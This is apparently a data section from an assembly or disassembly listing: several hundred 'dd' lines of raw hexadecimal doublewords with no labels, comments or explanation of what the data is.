		dd 60FF6B30h, 3963F8h, 0F71D2CDCh, 3CD5C571h, 3AAEF000h
		dd 0A03B4135h, 409948ADh, 263D1609h, 1C472C0Fh,	0A6A8E0B5h
		dd 7900B941h, 0D1BF9BDAh, 0B465D4h, 4E35C6D3h, 73939DF7h
		dd 0CC71E603h, 0B20B1CFBh, 5EB08095h, 76B7C3C2h, 14F71B9h
		dd 0C7DA46F2h, 0F515574Dh, 6329939Dh, 5F767C00h, 53D2Ah
		dd 52A7167Dh, 57C4F856h, 8D00BA7Eh, 49BB108Eh, 719F537h
		dd 0F13C6AE8h, 709241ECh, 0E443F493h, 1512EE03h, 0C0D9E657h
		dd 1D19FB59h
		dd 800A6F46h, 0D1C871B0h, 138A278h, 517407F6h, 0BD21B3B5h
		dd 0EAD861C9h, 31D80046h, 0A9494C92h, 81CCE29h,	0E068960Ah
		dd 87C0FE00h, 0A2628698h, 94D0EB17h, 50803F9h, 4FB032C8h
		dd 0D7ED28A8h, 0A4767900h, 45DE14B7h, 0DA5400C5h, 98E4BFE6h
		dd 0B90093FAh, 0E91BD52Ch, 0F49081h, 8F96CCABh,	852AB774h
		dd 49697B00h, 73FBE5EAh, 0FA330008h, 0F7E80F76h, 58000447h
		dd 0EC821078h, 9028FD9Eh, 5C2400E8h, 8347B7D4h,	0CD009C15h
		dd 6E45E3C9h, 3F7D7B1Ah, 9324D844h, 0DD073A34h,	0A082CF83h
		dd 0C7F850BAh, 0F6ABA70Ah, 0FA00F08Ch, 8DCF2E80h, 0C8D53D8Bh
		dd 60C8AA8h, 0BDEFC1D8h, 27010828h, 4662187h, 64C537h
		dd 9F5C3E46h, 0C070D660h, 900FA317h, 0E3ED0D21h, 0C683486Ch
		dd 901AEAA0h, 78CB07C7h, 0EEA10D20h, 5F6F2182h,	40C3E863h
		dd 4CC01BE0h, 7AC3C800h, 5B8E9A35h, 0C926387Ch,	0F8CA00FAh
		dd 0BE489EBBh, 0FA0786A9h, 42B57982h, 9CC4B890h, 0CD143E85h
		dd 3EC3300h, 0D0C9E5D1h, 0F8C149h, 0CDB0209Dh, 0DEBFDEB7h
		dd 5082D4A8h, 0E2B19601h, 400105CEh, 702A5E70h,	68209C0Ah
		dd 0CC142487h, 80423810h, 0DE80987Fh, 0AA2082h,	6411C7B6h
		dd 58B8CBC0h, 0D8887900h, 7CCAD656h, 9A5D0083h,	0EB68AA0Ch
		dd 781C644Dh, 21401B99h, 71147315h, 0AF3A0036h,	7AA6CB51h
		dd 8D00E0E1h, 7C3C1BA3h, 0A24F60h, 9983FFC1h, 984680E6h
		dd 0D62AC0C4h, 86050A1h, 7FD200A0h, 60140DE6h, 0D90062E4h
		dd 5A9A4CF0h, 179BFAFh,	1D47BA16h, 61C5679Dh, 9BD0D8ECh
		dd 0FDD9CF07h, 0BFD05E92h, 6CC46h, 5D8AE655h, 6764FC52h
		dd 0AE296F00h, 800AA75Bh, 9DF00F2Ch, 0D6E0F45Ah, 2E514440h
		dd 0B528BC07h, 91C0423Fh, 7D73DB6h, 14C15967h, 102504Eh
		dd 1203DFA2h, 3D032E93h, 0F54D0021h, 4305C81h, 8E3B0B60h
		dd 961D1C61h, 2B469800h, 1F84BE1Fh, 4057ACEBh, 18ABF258h
		dd 36001E9Fh, 9AE33C88h, 17C510B3h, 34B911h, 0EA9C71ECh
		dd 621EA930h, 19C05A04h, 43CFBA9Bh, 94D70086h, 0ECD1B978h
		dd 1E01A19Ch, 0E9DD1642h, 47D05A7Eh, 2BAD0015h,	41743ABh
		dd 0A1173850h, 409F5B7h, 53A90077h, 7B9DD68h, 7AD2B209h
		dd 2E3C22CCh, 0B301448h, 30EF4AE0h, 400068ACh, 0F1E0DEF6h
		dd 0B2C8229Fh, 361C0C34h, 5FF8DFFDh, 63CBF509h,	68918C68h
		dd 2B9F00E8h, 76D7299h,	60E23845h, 1A824C04h, 0C9094928h
		dd 0B5B14481h, 0EF045080h, 94269EB2h, 3B3201h, 0CFC78EB3h
		dd 3F5C50Fh, 767A97F7h,	88AE8D62h, 61C83600h, 8B6766D3h
		dd 0BC94BDh, 0E32E5A25h, 0D900D6F8h, 3E27B02Ah,	0BA0D30Ah
		dd 3466ACDAh, 35251600h, 8F0293D8h, 94C62FCh, 61C4053h
		dd 375800FEh, 729D19ACh, 343C305Eh, 0B0B200D2h,	6EE1A0AAh
		dd 0EE0D0098h, 0E8468FD3h, 410F8E3Ah, 8D5B91h, 8B65FECFh
		dd 0BDF600E0h, 0C40B85AAh, 78282F59h, 0D1FE804Eh, 0A6B0D502h
		dd 68442801h, 7DF6DE8h,	7FD4C54Eh, 0F9A3F0DBh, 0D71C2BE0h
		dd 53C0D17Ah, 0EF71F4CAh, 3B94706Dh, 0E707B608h, 0C074A7BBh
		dd 0CD09DCB3h, 42756E00h, 0E2A8BA6Dh, 8E93004Eh, 0F01715CAh
		dd 2A281218h, 0B80BF8A3h, 80BBD06Ch, 1130A10h, 5AC50F7Fh
		dd 8929AF35h, 0E0620CC1h, 0D83D9F31h, 369C0072h, 2D569CBh
		dd 4EE300BCh, 952F860Eh, 16612DB2h, 4815D7E8h, 5B848700h
		dd 27681203h, 908B0DB5h, 5C85AE6Fh, 0F6003704h,	171D637Ah
		dd 0E413E915h, 0F401E7D0h, 4CA209B1h, 1568EF8h,	0F206BF9h
		dd 70554B9Fh, 800A338h,	0FB6ADB83h, 0E0D71E4h, 29DD6176h
		dd 1E99C040h, 0E8FD208Ah, 88BA8369h, 7096B504h,	54915F40h
		dd 9435F779h, 738BD8h, 316B56E7h, 14711732h, 0CD6AD900h
		dd 942AC42Dh, 3B2B004Bh, 31B688DBh, 133ED230h, 3AAD80DCh
		dd 1BDA062Fh, 0D933008Ch, 22B9E483h, 64008D95h,	0E3E2F9CCh
		dd 13AF43DEh, 9CB514h, 0A132115Dh, 0E3A3C98h, 0F77F8057h
		dd 0C17819C7h, 0B06A01A4h, 0E814A012h, 0FCB464F2h, 63055800h
		dd 0C78B3164h, 0F9CE3C89h, 0FD337300h, 3EC83F93h, 0B4BF0F01h
		dd 9DA472C6h, 725703D0h, 0D8E3005Fh, 33E8C4BBh,	87E20902h
		dd 0A7170C96h, 0B2992C00h, 3A974B14h, 0D60098EEh, 0EF3B7023h
		dd 6D003279h, 4A77DFB4h, 4CD1BCh, 0F1E3CAD0h, 3E4E0EABh
		dd 35AEFF03h, 83AF5996h, 0A32CA04Dh, 0CBCC00D1h, 8D483833h
		dd 0DD49465Ch, 74EC000Ch, 42AE47BFh, 3DC92B1h, 4A82D1BAh
		dd 10071B79h, 0ED0B516Ch, 0D2C56133h, 8040509Bh, 2DE62B0h
		dd 534385Ah, 3450AE26h,	0AFDD0700h, 0FB84CFF5h,	0BAC1E5Fh
		dd 4214C056h, 2A9FF86Ch, 7B1DB2E0h, 74008018h, 8EB1D27Eh
		dd 9EDF00EFh, 0E9AC8AD5h, 1C00AF60h, 4909A931h,	73B7E4A7h
		dd 152E3BF0h, 0C608BC00h, 76255D1Eh, 9EA4B18h, 3032288Ch
		dd 24380345h, 0AD00E2B8h, 882D9084h, 1DD8EA06h,	8081E38Fh
		dd 0DD4C498Ch, 0FC00D3E1h, 0D155B525h, 3DE8BA01h, 0D80B91Ch
		dd 0DCBBE981h, 0D4006B59h, 0DD2678FBh, 0DA949Fh, 9BAB9CC8h
		dd 4B92813Eh, 0F5CBA03h, 0A7788FF7h, 0DFE6D30h,	918300F5h
		dd 0C82E59BFh, 0E5725803h, 0AF471A0Fh, 0BD08C140h, 84C48071h
		dd 0FBD82493h, 40701D83h, 2DBE34C2h, 8D005D0Bh,	8A0C64EEh
		dd 0DA3AA6h, 3FDC5E33h,	9A2210C9h, 79664600h, 0CE822F4Ch
		dd 36E41Fh, 35C559B9h, 17D95FBEh, 9013AB00h, 7D866629h
		dd 14DB03FBh, 4A5BE1C9h, 18998D8h, 38AE800h, 1EA75AEAh
		dd 0DF96007Eh, 0E0780EEDh, 663DBDCEh, 0EFA6D04Eh, 0B5380D98h
		dd 50CA8037h, 67E1628Dh, 30F303DEh, 18FBF25Eh, 409FD1A3h
		dd 3892DCD2h, 0DBCBEA00h, 62EFCD39h, 0BB120BDAh, 9300E9B6h
		dd 0DE4D490Bh, 21D5DF00h, 0FECDF2A9h, 55560562h, 0C0D7894Ah
		dd 8BAFA53Fh, 0B5FA100h, 0C7A7207h, 7B19012Ch, 2F762B0Fh
		dd 560AC8D3h, 0D1CD071h, 0C54D121h, 0DE50070Ch,	88C6FD2h
		dd 1F73F2F9h, 0B9645881h, 0F015E070h, 0D7880067h, 0A8B4781Ah
		dd 1D0EDBAEh, 0A1B64E6h, 1C061016h, 399B453h, 83A13335h
		dd 0FFA09BD8h, 18C7F986h, 0F0C02BC7h, 36FF7C8h,	1CE28B78h
		dd 2A00552Ah, 1DAC4197h, 3D18250h, 52E89E2Dh, 60017BC9h
		dd 0A54589Dh, 2AD17A1Ch, 0AF0050BEh, 5AB95F4Bh,	201DE75h
		dd 0F5FEA123h, 55C8F62Bh, 0BA1B1CAEh, 0DA5101B5h, 8C1521Fh
		dd 0D5230078h, 4FB74AF4h, 6F01C5E0h, 0BEB49AD6h, 43600D77h
		dd 0D0160041h, 0E0AEDDE8h, 310EF3E6h, 0EAC9D74h, 14940049h
		dd 0D9DAD8h, 0DFD6EE8Eh, 0CFDDAA23h, 2F68871Fh,	8610AB00h
		dd 0EDF980h, 8807C060h,	576B2297h, 8100F1F0h, 6FA9B96h
		dd 0FDE77F4h, 0E847BEA0h, 0AA8C00D7h, 0DCEFBA66h, 88641E00h
		dd 1A0AD083h, 0C79E0091h, 7BE24351h, 440A857Fh,	0C88FB8D3h
		dd 0BB4EA780h, 2B22F2Eh, 383F31D9h, 760F782h, 11005F41h
		dd 97177953h, 76ABCEh, 8A63A970h, 0F19F1430h, 4E00FBEAh
		dd 0E58616ECh, 6DFA40h,	92A90998h, 188E02CDh, 19EBB900h
		dd 0CAF7E70Bh, 98B60195h, 7B27EF81h, 7134C81Fh,	258E7E00h
		dd 0DCB17CC4h, 0CB480F99h, 0F28014h, 1A4CD8E0h,	0E6030AD1h
		dd 0A29AFA65h, 92B9D94Eh, 630EE138h, 409D896Fh,	0AE7D1554h
		dd 500B0CBh, 7F658B77h,	75F68Fh, 0D0F22E21h, 4C16E4EAh
		dd 0CEF1C000h, 0F44EBCC9h, 1205751Eh, 13A8561Ch, 275900A4h
		dd 23620CB3h, 5F00FDF0h
		dd 9A82EC40h, 0C6BDFEh,	0CF052F24h, 2CCB31F1h, 0FB15FA07h
		dd 6332DB9Eh, 0A5306042h, 0A1EA1698h, 0A9A8004Eh, 43EDF487h
		dd 0E6BB4000h, 80A8FF94h, 0A49FB81Ah, 0EE6E00D8h, 5EB550F3h
		dd 180A4B40h, 0A0E60C1Ah, 0F1D26341h, 6A66E080h, 0F99FBB9Bh
		dd 5E4CE31Eh, 20ABE005h, 0E2239C00h, 0C080ADA1h, 2C401359h
		dd 0BA0F60F6h, 0A3CD8319h, 0A072FA0Ch, 0EDC2C3h, 585BAB78h
		dd 848126E2h, 17246603h, 0A1BAE3A3h, 7B70DDE0h,	0AB1D00F8h
		dd 29D7FA4Ah, 0E9F45608h, 7C717900h, 2F17404Fh,	36D0102h
		dd 0B90BDC65h, 338ACC13h, 0E8225500h, 0D85F3BF7h, 0AA12035Dh
		dd 0DF24E049h, 3488A590h, 704E9600h, 4ACB6330h,	0A3B10C5Ch
		dd 9DF0CA15h, 14241D24h, 948C8F1Eh, 52190Ah, 0ED89F32Ah
		dd 50B5F0FDh, 37D6FC00h, 4E01914Bh, 7974B2h, 0E224FFC6h
		dd 0E7279CD3h, 0A13EF17Eh, 79090010h, 501A863Bh, 38AD0562h
		dd 5ED1ECD6h, 9149F9Ch,	807DD56Ah, 33045A81h, 57F00060h
		dd 0ACA1D711h, 0E7025E75h, 15F513E3h, 0F0FAE06Ch, 0C4F7019Ch
		dd 4DC1EA21h, 40C7FF04h, 0E6F3B666h, 1B615600h,	0C3E9F9CFh
		dd 0BCB10310h, 0BEB31125h, 12AF52C7h, 28877EE2h, 4A70F160h
		dd 0EB0CB9Bh, 38009199h, 89F121A6h, 2185176h, 6287066h
		dd 0B8846BBDh, 84818035h, 1602C92Dh, 1D963DD5h,	3634489Dh
		dd 20860EF7h, 0DB40D0F0h, 0DA588E83h, 6328DE03h, 88B70AC1h
		dd 7D9D74Bh, 7F694EB2h,	0F3F9302Bh, 3D98C7D4h, 3D08A22Eh
		dd 68BE7801h, 68303710h, 909B0FF6h, 3360FEBFh, 8F71E22Dh
		dd 18830748h, 7DD0ABD7h, 6F760747h, 50F6CA13h, 4FE11FB2h
		dd 6058990Eh, 0AA2E401Ch, 7EA5FEC6h, 28B47D70h,	26D474D5h
		dd 85ECD20Ch, 402ADC87h, 7B42B98h, 1EE2C27h, 835CD37h
		dd 6FD0F5E0h, 10400042h, 6355F851h, 0CD00962Fh,	21316EEBh
		dd 32A58AEh, 850AB6DBh,	0C0EF9D38h, 0D846CB81h,	93D75400h
		dd 3B803028h, 0D00B18ADh, 7B948DFBh, 0E3100D60h, 0EC195C3h
		dd 1211B332h, 3E210240h, 2E0003D8h, 4D64881Eh, 7DD07A0Ah
		dd 53D0A0DBh, 3AFF0092h, 0C2712D20h, 0A4002258h, 0CCE22623h
		dd 7BE67Eh, 0C678A3A2h,	0ACD46A03h, 0C00058F8h,	13CF5B79h
		dd 39F767F3h, 0A90054AFh, 52E47B71h, 45007D72h,	59606C44h
		dd 0D111B8h, 4F9BBBEDh,	0D99305A3h, 0C59E5302h,	8BCBAD85h
		dd 0EC7000A6h, 2499FA23h, 81A4E080h, 461EED87h,	0C9696020h
		dd 5D674207h, 60B0296Ch, 39C0325h, 455B17A9h, 0F1EF83A8h
		dd 80D146C9h, 92322254h, 377E93B0h, 47D84F1Fh, 6F5A308Eh
		dd 65022C85h, 2FF262A3h, 7AB2C1BEh, 78C436h, 49A6CDE9h
		dd 25EE41A8h, 0E474DC00h, 0FBEF3DBDh, 1DD092E8h, 40084F2Dh
		dd 14BC241Ah, 40017B2Ah, 9EDBA233h, 18606B6Eh, 76230E45h
		dd 0E8A278EEh, 92602B28h, 9A06F5D2h, 97722D6Ch,	7FA40228h
		dd 5216F7BEh, 275D0057h, 30EAA9D4h, 1A347442h, 0F90023CCh
		dd 0D9994358h, 73FFC7BAh, 4B1301E3h, 3B47A1D8h,	7E20744Ah
		dd 0F82800BDh, 2620F7D6h, 0C41DD3h, 9D889E94h, 73F45171h
		dd 0E136D17h, 46EBC700h, 73271497h, 0C6FA0AE2h,	0F8FF04h
		dd 562B48CCh, 3500E6A9h, 0D1DFE39Ch, 0E63F8D8h,	708F97E0h
		dd 195949E1h, 2611808Eh, 4836D33Bh, 0F15E4DBh, 2AD8DE4h
		dd 707B77C0h, 540071F5h, 6C1B8E74h, 0F4F4D907h,	0E6D8C04Eh
		dd 0F340389Eh, 220D1A00h, 0F2C734D4h, 0ED6900FDh, 0C82942FFh
		dd 0B100C0E1h, 7CD6635Bh, 18AE1C23h, 6AFA9856h,	0E470E0A8h
		dd 5FD1838h, 8A42594Fh,	32EF9FC0h, 62DD0064h, 0B212210Ah
		dd 7300F0A2h, 30070B2Fh, 0FCD71C9Fh, 0BD804CF8h, 0B5BF879h
		dd 64E25A3h, 812F6420h,	0A93F6AD1h, 8574BD56h, 1054E620h
		dd 1326ACC0h, 0D094A334h, 3CAD9A2Ch, 89BF4C3Fh,	949BF400h
		dd 148F7D56h, 6028FE01h, 0B5A4FCFh, 345B0880h, 0FB7DBE7Bh
		dd 0E5ECAAB8h, 39D9E00Fh, 0BDC01E91h, 0CEFF80F0h, 0F4953B62h
		dd 0FD2EA400h, 90D4F54Ah, 0A7A0E91Dh, 21DB5E0Fh, 573D56DAh
		dd 0D4C98689h, 753460A0h, 0ED1DF7CDh, 8441B992h, 81CE90F4h
		dd 199ADE8h, 85919A3Dh,	0D9A49B08h, 40A02C3Fh, 86FC220Ch
		dd 8326830h, 7064E1EEh,	22114A1Ch, 8E0074C8h, 10B02DBh
		dd 71D88DA1h, 25B5BC1Ch, 817F30A0h, 0A45E200h, 0BB45F59h
		dd 0F087865h, 2C589DD6h, 0A0894E80h, 2300FDD4h,	0D8153AF1h
		dd 0B5B1D698h, 9C3ED958h, 0AB03FC4Fh, 4EA01716h, 1C381455h
		dd 0F1434BAh, 64034C73h, 854B55C2h, 769C1101h, 4972D4C7h
		dd 15580AF8h, 942BF5E7h, 0DB815C01h, 0A0FD5A19h, 17405CD0h
		dd 590B1DB5h, 9500F87Fh, 5D405A4Ah, 110054D2h, 459F7B7Eh
		dd 12A3C721h, 8CE62B4Fh, 0B30085E0h, 0A10C828Dh, 1A537E5h
		dd 743DF4CEh, 0F008951Eh, 0F978544Bh, 9E9F2B00h, 0F6CEA2D5h
		dd 57050573h, 0C837E3A9h, 4A588DCh, 63170180h, 607F1B66h
		dd 9CBD199Ah, 6503AECAh, 1C2A55D2h, 9408303Ah, 0CA8B4021h
		dd 0BFABB200h, 0FD52451Fh, 5E9E6F4h, 10D78C02h,	94CB02DFh
		dd 0D480963Fh, 4AE628EBh, 4FC85512h, 0B45811h, 0FE2B34FBh
		dd 6E0374h, 0D6B8AA0Ah,	0AF120EF6h, 28A31B0Ch, 0A88203Eh
		dd 1AF78E5Bh, 971B7820h, 17D0048Ch, 80535AA4h, 56C5B386h
		dd 300FC878h, 7E7746D7h, 992A0306h, 335C7CB8h, 0FE1854EFh
		dd 8BE66020h, 612FB094h, 32733C55h, 0F0F8F940h,	9822F5h
		dd 0E8BD5437h, 0EDBA95Ah, 0DA4152B5h, 9221258Ch, 4EBD4C00h
		dd 0BF5523C0h, 0D5642AD0h, 0B67822D0h, 874A2C39h, 82768EB9h
		dd 53AB8D60h, 0E490C166h, 800A575Ch, 7FC001F0h,	191397E7h
		dd 90C92C75h, 0BDF019F7h, 885A6811h, 0EF9148h, 53BD4D97h
		dd 37DDF7Ah, 4302F730h,	6018DCFFh, 0A5A8C4EFh, 720E486h
		dd 141DE419h, 5B052E51h, 2294007Ah, 7E4FD7E3h, 288944h
		dd 0D8E9DBACh, 0F7BA15Bh, 5108EB63h, 762000D6h,	0F922DAE4h
		dd 0C501D248h, 0D91740F7h, 99A0D501h, 5A7B20C4h, 80A87F48h
		dd 3CF5E2Ch, 4D2E03FBh,	487A9284h, 610102EBh, 0D083D5F2h
		dd 84405C3Eh, 3DD3F51Bh, 0AC0C15CCh, 22498278h,	0E4E97507h
		dd 43D0400Ah, 2270BB6Fh, 1600D8EEh, 111BAC4Dh, 124ACF5Ch
		dd 0A2D6FBh, 4E37F510h,	47E05EFDh, 8079331Eh, 0E5E78982h
		dd 0C7A8487Eh, 75140111h, 810A745Fh, 82ADBE0h, 27009026h
		dd 8C701419h, 6EFB9B7h,	0E5C957FAh, 0B20021D9h,	0A47C5EC2h
		dd 28EAECFh, 3C84A619h,	5C40FD75h, 4804895Bh, 67BEE980h
		dd 3306DC82h, 65ADCAE0h, 8F22EA46h, 0CAF05F00h,	0B88A585Dh
		dd 78B8A8D3h, 0AFFC0017h, 1DAA081Ah, 0D770DB6Ch, 58CD5C04h
		dd 90958A0Bh, 0CF843008h, 5A14BDE1h, 88261849h,	0BD007096h
		dd 0A6D3012Ch, 0C51CDB3h, 0A8B60CA0h, 6409E450h, 381F43h
		dd 0AAC2E038h, 7E4118EBh, 3750B18Bh, 50E3A7Ch, 26642A77h
		dd 3AF02733h, 71836D0Eh, 5731E714h, 82B4C09Ch, 96065512h
		dd 3DF344AAh, 6BD0958h,	44893680h, 8F11741Dh, 9597AB80h
		dd 0E6126502h, 2441B7FEh, 2E185D47h, 0FB685880h, 74E08EA0h
		dd 4406890Ch, 5F6182Ch,	0F46ED877h, 461400C1h, 0C774E3C9h
		dd 2F485614h, 105234Ch,	65A0CAEAh, 80C033E2h, 19CAF15Eh
		dd 907E1E50h, 0D8F7C170h, 80DA55A6h, 29F47350h,	144AF6F8h
		dd 0B894FEDBh, 0DE05E453h, 0CEE74F4h, 0F5D18F90h, 32A05610h
		dd 6F93104Ch, 749380Ch
		dd 2FEF29C1h, 3854B9F0h, 0E85148DFh, 11686726h,	0A3640443h
		dd 56473F78h, 0D695C008h, 0FC1BDD7Dh, 0A0B8B2D2h, 0DC556B30h
		dd 0B4154540h, 1A50489Ah, 0A9CAE5C0h, 228A4665h, 8C5B00B3h
		dd 39587CCAh, 0C603A9A6h, 0E8560238h, 30F8763Ah, 67B0BD06h
		dd 568848B4h, 707A6861h, 0B24674D4h, 0C5969B00h, 0BE1BA701h
		dd 183A8F06h, 48608B5Bh, 0E5CE88A1h, 6AEC9036h,	4001578h
		dd 7FFAF986h, 159FB85h,	4917F67Ch, 34017B5Ch, 2754A758h
		dd 9B07B5D8h, 30B11710h, 0F20077B5h, 185056D1h,	8C124CEEh
		dd 4959851Dh, 789021B6h, 0E6607A05h, 0C3B0F5B1h, 3E84015Ch
		dd 0B5F15D32h, 6E05C044h, 72A98D02h, 6CE289F4h,	14E80478h
		dd 624C5F54h, 10202031h, 85010114h, 7EEC5B57h, 0A835F2DBh
		dd 507BD0C0h, 3787EC21h, 10C9D9B8h, 0A3B0290Dh,	35DDA502h
		dd 6156FCDAh, 0F202E644h, 0B770B84Ch, 81CD38h, 0D853B271h
		dd 586D02F5h, 24030018h, 6660A7A1h, 0EFDC60C5h,	6523AFCAh
		dd 108E113Ah, 3003F65Dh, 185A0D71h, 0D8808AE2h,	0E496034Ch
		dd 30D05C80h, 0F7C0476Fh, 0E618E119h, 32581310h, 0B17E3255h
		dd 0CFE01A51h, 78008670h, 1E59240Fh, 75DAC4h, 0DD2B94C1h
		dd 0D0A002B7h, 0C7AF3203h, 0E7E3E580h, 0B4406135h, 0A6534C90h
		dd 51483CE0h, 439F3780h, 6E1E46Eh, 0A0A0E3Ah, 0BCCEE5F7h
		dd 14269480h, 23A797h, 0CD7F10E0h, 40D15A16h, 570FE00h
		dd 877DF2C9h, 66D0181Fh, 2DA6960h, 0F2971094h, 1E056C81h
		dd 0DE7860ACh, 22118D09h, 36B4487Fh, 0B209005Fh, 494B441Dh
		dd 8A509EFBh, 1E50D0A8h, 0DB125644h, 144B82CAh,	0E4B404CDh
		dd 72141260h, 0B1C5F10h, 3E80DCC8h, 3FC9141Ah, 6D4F0FBEh
		dd 69E0DFE1h, 0A84E021Ch, 6F8CE49h, 0B680896Ch,	38E64660h
		dd 5F588814h, 4028C4ECh, 0E2141C34h, 3D233C5Dh,	680F5285h
		dd 37F84095h, 0E9B321D9h, 0DD0CDA15h, 0E6F70D88h, 0FE06155h
		dd 11B40017h, 0A17CF1D1h, 0BD630A76h, 0D2AB0229h, 98C6032h
		dd 0E748134Eh, 0DACC016Fh, 9E9C5935h, 71F77A28h, 0C35E6BF1h
		dd 7454C4h, 0F884BF73h,	944ABC5h, 0A0A56829h, 231832D1h
		dd 0BDCED200h, 6898557Ch, 0E339059Eh, 0CBF461FAh, 0C031C87Ch
		dd 7AF21D8Dh, 0FAB98260h, 0BAFEFBFh, 0E3F89548h, 0D4BA9700h
		dd 2948F330h, 76A200ACh, 0E0EA7C2Ah, 0FB0200D7h, 74C7523Ch
		dd 9B62508Dh, 616A0349h, 0E891E945h, 141F80E5h,	8C245F57h
		dd 5021C344h, 0C6F407h,	59336FFCh, 0F11D8F05h, 385C1338h
		dd 807D01CFh, 88D2FB56h, 5A4820h, 5219DE5Eh, 63CF35EFh
		dd 0F3E9BA00h, 5F3FC7FBh, 19D0FF53h, 1730135Ch,	0E51C0083h
		dd 9E8728F6h, 0DCFDEE2Eh, 0AFC04DEh, 4022B8A2h,	7B4AD5F4h
		dd 3C6900A0h, 530C5545h, 957E7A94h, 7CB8B401h, 0DA0FCFE7h
		dd 0FF7FA450h, 21BCB216h, 6C123CDCh, 557F3043h,	8D9B9Fh
		dd 97E96579h, 0F14E2675h, 0C6FF5900h, 5F31B8Ah,	644206AFh
		dd 48D690FBh, 328C1E50h, 58A4A8B0h, 0C01FE8C8h,	65AACAE8h
		dd 0E0BCF24Ch, 1CAF75Ch, 0FC1D04FFh, 28C9CB57h,	0D4218354h
		dd 3390C861h, 974303A5h, 0C2BD5D69h, 85A946C0h,	9255CD14h
		dd 0E97800F9h, 9E5C20C7h, 447100C6h, 0BB574E0Ch, 930210F2h
		dd 8AC299EBh, 0B459E04Ah, 0D19E424h, 641ABB6Dh,	0C178C820h
		dd 0AFDA2A00h, 4F20E671h, 13DE0076h, 0EDB19A41h, 3D13B69Dh
		dd 0DA00EB96h, 1725E9Eh, 0ED10126h, 14516C5Fh, 8044E57Eh
		dd 6B372938h, 58E56h, 20AE88EBh, 4894B964h, 29E3F318h
		dd 5827E60h, 0CD19F52Ah, 8BD307C9h, 93FF832Dh, 0DE899BCBh
		dd 3AA08C5Bh, 0B4595Ah,	0C0D1813Ch, 58CCF451h, 0B595A324h
		dd 0BFCE003Dh, 9FEE9B21h, 3ECD28DEh, 0DDBE3184h, 8023E771h
		dd 72F4F7D9h, 4CB1732Dh, 0B00C9BEh, 39292E1Eh, 24189E6Fh
		dd 4F7034D3h, 0B89BE810h, 5611C132h, 60D56858h,	523DCD96h
		dd 5F08E6F5h, 70340021h, 0CB919668h, 0F2001016h, 0A4CF97C1h
		dd 0C2423AE7h, 0FF83FBC9h, 1898D060h, 0F01F5231h, 0FA0063C2h
		dd 116FDDB5h, 56BB83C0h, 0A0181460h, 4A02908Fh,	0A81A0B32h
		dd 8031E761h, 0DA5B7628h, 5016D9CBh, 0CDEE4C1h,	752612BDh
		dd 2DECBE38h, 0A6C780A0h, 0E0A063EEh, 0BB00F9C6h, 0B971A27Dh
		dd 0D1ED418h, 4E126E65h, 0C7057B20h, 203C1C99h,	472469Ch
		dd 505256CDh, 6CB6C400h, 8E3A1D29h, 23E40E5h, 0C73C8C93h
		dd 0CC6173BDh, 42A3CFEDh, 9B20210Fh, 0DFFEC08Ch, 9AB3EFh
		dd 0CD21C223h, 6172A469h, 490E4F06h, 0F889E7h, 127DC4DEh
		dd 0E9BBB308h, 156C3000h, 0A3D68B7Fh, 898E0034h, 14B60C94h
		dd 0A60127BDh, 84DFA4A2h, 17FC3763h, 4DC848D1h,	9D858C07h
		dd 3CE0BEFEh, 0C5E08F5Eh, 326B1100h, 0F1096EECh, 798D0069h
		dd 85B597F2h, 0C800FE8Eh, 5048CDAEh, 0BC53BEh, 0E84F1ECFh
		dd 15905679h, 0A8CE2701h, 50C9E44Bh, 0FAB96D0h,	0F83283F7h
		dd 0F9D765A0h, 0A20030F4h, 1FA3D146h, 8456FFh, 7959AAEEh
		dd 61AB310Eh, 0FD4C4273h, 0B060346h, 0C22994h, 0F97FE450h
		dd 519CC10Dh, 4FE60916h, 1C320000h, 0D17B50h, 0FAF169ECh
		dd 18C352C5h, 0A76C6A12h, 0CBB70E00h, 0F551A2h,	24A1672Ah
		dd 19BA8647h, 5D01C0DCh, 4505085Fh, 0E48A0880h,	3114E039h
		dd 47BA912h, 47F07D00h,	7C61F772h, 0A4F78E6h, 59C56C8Fh
		dd 748280E8h, 40FE4D7Ah, 817DB00h, 0F5988FA2h, 0CF230051h
		dd 52A006BBh, 6F0071EBh, 0DA1892E5h, 1CA1B22h, 5615AF0Bh
		dd 0E06EC30Dh, 0F901F31Dh, 2B1A05BEh, 0A8244D20h, 56D40083h
		dd 0A00BEF11h, 0CE283DFDh, 3FF6049Fh, 0F805D001h, 17F9BEEDh
		dd 0A3826087h, 0ADBF167h, 0C4A23046h, 57A8A00h,	236949E3h
		dd 18A90044h, 6C91128h,	6807AB59h, 0CD72F3FAh, 5C7A5E00h
		dd 362200B7h, 0F6A070D8h, 777CD342h, 0E19E7B30h, 8FB416h
		dd 6014EA05h, 0D05F7D2Dh, 4C808400h, 0B4E42E35h, 0A0903D15h
		dd 9438F9E0h, 41C00CB9h, 0E1078664h, 5C6506BEh,	29363A02h
		dd 8A3F6490h, 0FE3D0161h, 0BCB77A99h, 34598440h, 88EF0069h
		dd 8B01267h, 0E6E48062h, 54156026h, 258A194h, 3871C9AAh
		dd 0A821E00Eh, 0AF2E5h,	0F1437E8Dh, 0B1CAFB2Ah,	4F013800h
		dd 7BDFFA49h, 24927A0Eh, 80440476h, 83E02754h, 0AA0009FDh
		dd 65596773h, 2631BBBDh, 80BC8F6Ah, 0A2D0B7C4h,	0E5009C0Ah
		dd 1FDC8279h, 0EF64589h, 0F5788846h, 720008D5h,	845947CFh
		dd 0EF006292h, 631C9DC7h, 0A0B55D45h, 5826E3F4h, 0C0191D7h
		dd 0A7EAA91Fh, 6E7670AFh, 1095D405h, 98415020h,	0A26725B7h
		dd 987F2080h, 3861870Eh, 0A8359630h, 0FCFF5FD6h, 49E4249Fh
		dd 71962Ch, 0B2E62F96h,	0AF0EDF90h, 9B6D8EE0h, 19F60069h
		dd 448B3F35h, 0E700FF16h, 2D7DB06Ah, 9E49EFh, 33760E73h
		dd 68750CCh, 91621630h,	54EFFBEAh, 0F2FF4B7h, 297E663h
		dd 5436DE80h, 0C3007C5Eh, 81B3713Ah, 5C106A4Fh,	730073A3h
		dd 0BC7F769Ch, 0D4C0F71Ah, 8F371496h, 0C523026Eh, 0A0DE620Dh
		dd 78C99060h, 98684801h, 5B8BCED9h, 21E19840h, 5EC60302h
		dd 0F220F957h, 8A2AA190h, 0A938CB00h, 66C5127Ah, 5C1D0747h
		dd 40864D7Dh, 8F9A8EE1h, 36BC80A0h, 4FFF00EBh, 5EDD00EDh
		dd 2ED3C1B6h, 87043562h, 84346DC0h, 3D80D887h, 7ED1AA4Ah
		dd 1107A95h, 8251683Ch,	6086BD44h, 50009368h, 0EA9ECB0Fh
		dd 30725D3Eh, 3980FF81h
